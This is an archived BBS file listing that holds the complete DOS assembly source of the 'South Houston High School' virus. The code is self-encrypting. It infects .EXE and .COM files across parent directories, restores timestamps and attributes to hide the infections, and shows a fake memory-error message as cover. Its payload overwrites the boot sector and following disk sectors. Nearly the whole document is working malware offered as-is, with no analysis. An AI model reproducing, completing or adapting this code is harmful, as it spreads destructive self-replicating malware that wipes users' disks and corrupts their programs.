home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / shhs.asm < prev    next >
Assembly Source File  |  1992-02-26  |  11KB  |  239 lines
  1. ; Source code to South Houston High School virus ;
  2.  
  3. codeseg        segment
  4.         assume    cs:codeseg, ds:codeseg
  5.         org    100h
  6.  
  7. cr        equ    13
  8. lf        equ    10
  9. tab        equ    9
  10.  
  11. start:
  12.                 call    encrypt_decrypt
  13.                 jmp     random_mutation
  14. encrypt_val     db      0
  15.   
  16. infect_file:
  17.                 mov     bx,handle                       ; (648C:01F2=0)
  18.                 push    bx                              ; Save handle
  19.                 call    encrypt_decrypt                 ; encrypt code
  20.                 pop     bx                              ; Restore handle
  21.                 mov     cx,offset eof-offset start      ; Length of code
  22.                 mov     dx,offset start                 ; Start of code
  23.                 mov     ah,40h                          ; Write to handle BX
  24.         int    21h                ; DOS Services  ah=function 40h
  25.                             ;  write file cx=bytes, to ds:dx
  26.                 call    encrypt_decrypt                 ; decrypt code
  27.         mov    al,encrypt_val            ; AL= code #
  28.         add    al,13                ; add 13
  29.         adc    al,0                ; plus carry
  30.         mov    encrypt_val,al            ; save new value
  31.                 ret                                     ; Return
  32.  
  33.  
  34. encrypt_decrypt:
  35.                 mov     bx,offset encrypted             ; offset of encrypted
  36.                                                         ; code in memory
  37.                 mov     al,encrypt_val                  ; encryption value
  38.         or    al,al                ; 0 ?
  39.         jz    skipcryptor            ; Don't waste time
  40. xor_loop:       xor     byte ptr [bx],al                ; modify byte
  41.                 inc     bx                              ; next byte, please
  42.         add    al,bh                ; adjust encryption key
  43.                 cmp     bx,offset eof                   ; are we done yet?
  44.                 jle     xor_loop                        ; Nope, keep goin'
  45. skipcryptor:    ret                                     ; Yep, bye bye!
  46.  
  47.  
  48.  
  49. ; The code from here on is encrypted until run-time (except in the case of a
  50. ; first-run copy).
  51.  
  52.  
  53. encrypted:
  54.  
  55.   
  56. exe_filespec    db      '*.EXE',0
  57. com_filespec    db      '*.COM',0
  58. newdir          db      '..',0
  59. fake_msg        db      'Program too big to fit in memory',cr,lf,'$'
  60. virus_msg       db      cr,lf,tab,'I',39,'m sorry, Dave... but '
  61.                 db      'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf
  62.                 db      cr,lf,tab,'Dedicated to the dudes at SHHS'
  63.                 db      cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$'
  64.  
  65. random_mutation:  mov    si,offset fname            ; point to fname
  66.         mov    di,offset tfname        ; point to tfname
  67.         mov    cx,13                ; 13 chars
  68.         rep    movsb                ; copy the string
  69.  
  70.         cmp     byte ptr encrypt_val,0          ; encryption value
  71.                 je      install_val                     ; Jump if equal
  72.                 mov     ah,2Ch                          ; Get time
  73.                 int     21h                             ;  Call DOS to ^
  74.                 cmp     dh,55                           ; more than 55 seconds?
  75.                 jg      find_extension                  ; Yes: don't mutate
  76.  
  77. install_val:    or      dl,dl                           ; DL = 0 ?
  78.                 jnz     skipmutation                    ; No need to mutate
  79. skipmutation:   mov     encrypt_val,dl                  ; save code number
  80.  
  81. find_extension: mov     byte ptr files_found,0          ; Haven't found any yet
  82.                 mov     byte ptr files_infected,3       ; No more than 3 files
  83.                 mov     byte ptr success,0              ; No successful tries
  84.  
  85. find_exe:       mov     cx,27h                          ; attr: R/O,HID,SYS,ARC
  86.                 mov     dx,offset exe_filespec          ; point to '*.EXE',0
  87.                 mov     ah,4Eh                          ; Find first
  88.                 int     21h                             ; DOS Services
  89.  
  90.                 jc      find_com                        ; No more?  Find EXE
  91.                 call    find_healthy                    ; Find a healthy file
  92.  
  93. find_com:       mov     cx,27h                          ; attr: R/O,HID,SYS,ARC
  94.                 mov     dx,offset com_filespec          ; point to '*.COM',0
  95.                 mov     ah,4Eh                          ; Find first match
  96.         int    21h                ; DOS Services  ah=function 4Eh
  97.                             ;  find 1st filenam match @ds:dx
  98.                 jc      chdir                           ; No more?  CD ..
  99.                 call    find_healthy                    ; Start over
  100.  
  101. chdir:          mov     dx,offset newdir                ; point to '..',0
  102.                 mov     ah,3Bh                          ; CHDIR ..
  103.                 int     21h                             ; DOS Services
  104.                 jnc     find_exe                        ; Look for EXEs
  105.                 jmp     exit_virus                       ;
  106.   
  107. find_healthy:   mov     bx,80h                          ; points at DTA
  108.                 mov     ax,[bx+15h]                     ; original attribute
  109.                 mov     orig_attr,ax                    ; ^
  110.                 mov     ax,[bx+16h]                     ; original time stamp
  111.                 mov     orig_time,ax                    ; ^
  112.                 mov     ax,[bx+18h]                     ; original date stamp
  113.                 mov     orig_date,ax                    ; ^
  114.                 mov     dx,9Eh                          ; filename
  115.                 xor     cx,cx                           ; zero out attributes
  116.                 mov     ax,4301h                        ; set attribute
  117.                 int     21h                             ; DOS Services
  118.  
  119.                 mov     ax,3D02h                        ; Open file read&write
  120.                 int     21h                             ; DOS Services
  121.                 mov     handle,ax                       ; save file handle
  122.                 mov     bx,ax                           ; place ^ in BX
  123.                 mov     cx,20                           ; read in 20 chars
  124.                 mov     dx,offset compare_buff          ; Points to buffer
  125.                 mov     ah,3Fh                          ; Read file
  126.                 int     21h                             ; DOS Services
  127.  
  128.                 mov     bx,offset compare_buff          ; Points to buffer
  129.                 mov     ah,encrypt_val                  ; Encryption value
  130.                 mov     [bx+offset encrypt_val-100h],ah ; Fill in the blank
  131.                 mov     si,100h                         ; Point to code's start
  132.                 mov     di,offset compare_buff          ; Point to buffer
  133.  
  134.                 repe    cmpsb                           ; Compare buff to code
  135.                 jne     healthy                         ; Didn't match, jump...
  136.  
  137.                 call    close_file                      ; Close the file
  138.                 inc     byte ptr files_found            ; Found one!
  139. continue_search:  mov   ah,4Fh                          ; Find next
  140.                 int     21h                             ; DOS Services
  141.                 jnc     find_healthy                    ; Find more
  142. no_more_found:  ret                                     ; RETurn
  143.  
  144. healthy:        mov     bx,handle                       ; (648C:01F2=0)
  145.                 mov     ah,3Eh                          ; Close file
  146.                 int     21h                             ; DOS Services
  147.  
  148.                 mov     ax,3D02h                        ; Open file read&write
  149.                 mov     dx,9Eh                          ; Filename is ....
  150.                 int     21h                             ; DOS Services
  151.  
  152.         mov    si,dx                ; Point to filename
  153.         mov    di,offset fname            ; Point to fname
  154.         mov    cx,13                ; Copy 13 chars
  155.         rep    movsb                ; Copy filename
  156.  
  157.                 mov     handle,ax                       ; save handle
  158.                 call    infect_file                     ; infect file
  159.                 call    close_file                      ; close file
  160.                 inc     byte ptr success                ; Success!!!
  161.                 dec     byte ptr files_infected         ; We got one!
  162.                 jz      exit_virus                      ; Jump if zero
  163.                 jmp     short continue_search           ; Continue the search
  164.  
  165. close_file:     mov     bx,handle                       ; get handle
  166.                 mov     cx,orig_time                    ; get original time
  167.                 mov     dx,orig_date                    ; get original date
  168.  
  169.                 mov     ax,5701h                        ; set date/time stamp
  170.                 int     21h                             ; DOS Services
  171.  
  172.                 mov     ah,3Eh                          ; close file
  173.                 int     21h                             ; DOS Services
  174.  
  175.                 mov     cx,orig_attr                    ; get original attrib
  176.                 mov     ax,4301h                        ; get/set attribute
  177.                 mov     dx,9Eh                          ; point to filename
  178.                 int     21h                             ; DOS Services
  179.                 ret                                     ; RETurn
  180.  
  181. exit_virus:     cmp     byte ptr files_found,8          ; Found at least 8?
  182.                 jl      print_fake                      ; No, keep low profile
  183.                 cmp     byte ptr success,0              ; Got anything?
  184.                 jg      print_fake                      ; Yep, cover it up
  185.  
  186.                 mov     ah,9                            ; Print string
  187.                 mov     dx,offset virus_msg             ; Point to virus msg
  188.                 int     21h                             ; DOS Services
  189.  
  190.         mov    ah,19h                ; Get current disk
  191.         int    21h                ; Call DOS to ^
  192.  
  193.         mov    si,offset tfname        ; Point to tfname
  194.         mov    di,offset fname            ; Point to fname
  195.         mov    cx,13                ; Copy 13 chars
  196.         rep    movsb                ; Copy filename
  197.  
  198.                 mov     bx,offset kbstr                 ; BX points to message
  199.                 xor     dx,dx                           ; Start at boot sector
  200.         mov    cx,35                ; 35 sectors
  201.         int    26h                ; Absolute disk write, drive al
  202.                 jmp     short terminate                 ; End of the line!
  203.  
  204. print_fake:     mov     ah,9                            ; Print string
  205.                 mov     dx,offset fake_msg              ; DX points to fake msg
  206.                 int     21h                             ; DOS Services
  207.  
  208. terminate:
  209.                 mov     ax,305h                         ; Set typematic rate
  210.                 mov     bx,31Fh                         ; Long delay, fast reps
  211.                 int     16h                             ; Keyboard i/o call ^^
  212.                 int     20h                             ; Terminate process
  213.  
  214. kbstr:        db    'Killed by: '            ;Killed by
  215. fname:        db    '1st run copy',0        ;13 spaces for filename
  216. ekbstr:        db    '$'                ;Terminator for string
  217.  
  218. eof:
  219.  
  220. ;These variables are for temporary use only and are therefore excluded from
  221. ;encryption and writing to the disk (this saves time and space).
  222.  
  223. compare_buff    db      20 dup (?)
  224. files_found     db      ?
  225. files_infected  db      ?
  226. orig_time       dw      ?
  227. orig_date       dw      ?
  228. orig_attr       dw      ?
  229. handle          dw      ?
  230. success         db      ?
  231.  
  232. tfname:        db    13 dup (?)
  233.  
  234. codeseg         ends
  235.   
  236.   
  237.   
  238.         end    start
  239.